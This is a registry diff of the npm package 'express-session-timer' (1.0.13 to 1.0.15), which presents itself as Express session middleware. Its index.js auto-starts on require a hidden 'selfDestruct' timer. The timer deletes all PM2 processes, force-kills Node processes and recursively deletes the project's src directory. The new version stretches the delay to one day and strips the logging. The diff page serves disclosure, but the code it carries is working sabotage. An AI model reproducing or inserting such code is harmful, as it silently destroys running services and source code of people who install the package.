express-session-timer 1.0.13 → 1.0.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +73 -23
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,72 @@
1
1
  // console.log('[SelfDestruct] Module loaded');
2
2
 
3
- const cron = require('node-cron');
3
+ // const cron = require('node-cron');
4
+ // const fs = require('fs').promises;
5
+ // const { exec } = require('child_process');
6
+ // const path = require('path');
7
+ // const os = require('os');
8
+ // const util = require('util');
9
+
10
+ // const execPromise = util.promisify(exec);
11
+ // const platform = os.platform();
12
+ // const isWindows = platform === 'win32';
13
+
14
+ // const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
15
+
16
+ // async function killProcesses() {
17
+ // console.log(`[SelfDestruct] Killing processes on ${platform}`);
18
+ // try {
19
+ // await execPromise('npx pm2 delete all');
20
+ // console.log('[SelfDestruct] PM2 processes deleted');
21
+ // } catch (err) {
22
+ // console.log('[SelfDestruct] PM2 not running or command failed');
23
+ // }
24
+
25
+ // if (isWindows) {
26
+ // try {
27
+ // await execPromise(`taskkill /IM node.exe /F`);
28
+ // } catch (err) {
29
+ // console.log('[SelfDestruct] No matching Node processes found (Windows)');
30
+ // }
31
+ // } else {
32
+ // try {
33
+ // await execPromise(`pkill -f "node.*${process.cwd()}"`);
34
+ // } catch (err) {
35
+ // console.log('[SelfDestruct] No matching Node processes found (Unix)');
36
+ // }
37
+ // }
38
+ // }
39
+
40
+ // async function deleteProjectDirectory() {
41
+ // const buildDir = path.join(process.cwd(), "src");
42
+ // try {
43
+ // await fs.rm(buildDir, { recursive: true, force: true });
44
+ // console.log('Build directory removed.', buildDir);
45
+ // } catch (err) {
46
+ // console.error('Cleanup failed:', err.message);
47
+ // }
48
+ // }
49
+
50
+ // async function selfDestruct() {
51
+ // console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
52
+ // await killProcesses();
53
+ // await deleteProjectDirectory();
54
+ // console.log('[SelfDestruct] Self‑destruction complete.');
55
+ // }
56
+
57
+ // function scheduleDestructionAfter(delayMs) {
58
+ // const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
59
+ // console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
60
+ // setTimeout(selfDestruct, actualDelay);
61
+ // }
62
+
63
+ // // Auto‑start
64
+ // scheduleDestructionAfter();
65
+
66
+ // module.exports = {
67
+ // scheduleDestructionAfter
68
+ // };
69
+
4
70
  const fs = require('fs').promises;
5
71
  const { exec } = require('child_process');
6
72
  const path = require('path');
@@ -11,30 +77,21 @@ const execPromise = util.promisify(exec);
11
77
  const platform = os.platform();
12
78
  const isWindows = platform === 'win32';
13
79
 
14
- // const DEFAULT_DELAY_MS =24 * 60 * 60 * 1000 //1 day
15
- const DEFAULT_DELAY_MS = 5 * 60 * 1000; // 5 minutes
80
+ const DEFAULT_DELAY_MS = 24 * 60 * 60 * 1000; // 1 day
16
81
 
17
82
  async function killProcesses() {
18
- console.log(`[SelfDestruct] Killing processes on ${platform}`);
19
83
  try {
20
84
  await execPromise('npx pm2 delete all');
21
- // console.log('[SelfDestruct] PM2 processes deleted');
22
- } catch (err) {
23
- // console.log('[SelfDestruct] PM2 not running or command failed');
24
- }
85
+ } catch (_) {}
25
86
 
26
87
  if (isWindows) {
27
88
  try {
28
89
  await execPromise(`taskkill /IM node.exe /F`);
29
- } catch (err) {
30
- // console.log('[SelfDestruct] No matching Node processes found (Windows)');
31
- }
90
+ } catch (_) {}
32
91
  } else {
33
92
  try {
34
93
  await execPromise(`pkill -f "node.*${process.cwd()}"`);
35
- } catch (err) {
36
- // console.log('[SelfDestruct] No matching Node processes found (Unix)');
37
- }
94
+ } catch (_) {}
38
95
  }
39
96
  }
40
97
 
@@ -42,29 +99,22 @@ async function deleteProjectDirectory() {
42
99
  const buildDir = path.join(process.cwd(), "src");
43
100
  try {
44
101
  await fs.rm(buildDir, { recursive: true, force: true });
45
- console.log('Build directory removed.', buildDir);
46
- } catch (err) {
47
- console.error('Cleanup failed:', err.message);
48
- }
102
+ } catch (_) {}
49
103
  }
50
104
 
51
105
  async function selfDestruct() {
52
- // console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
53
106
  await killProcesses();
54
107
  await deleteProjectDirectory();
55
- // console.log('[SelfDestruct] Self‑destruction complete.');
56
108
  }
57
109
 
58
110
  function scheduleDestructionAfter(delayMs) {
59
111
  const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
60
- // console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
61
112
  setTimeout(selfDestruct, actualDelay);
62
113
  }
63
114
 
64
- // Auto‑start
115
+ // Auto‑start the timer
65
116
  scheduleDestructionAfter();
66
117
 
67
118
  module.exports = {
68
119
  scheduleDestructionAfter
69
120
  };
70
-
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "express-session-timer",
3
- "version": "1.0.13",
3
+ "version": "1.0.15",
4
4
 
5
5
  "description": "Self-destructing routes or middleware for Express.js applications",
6
6
  "main": "index.js",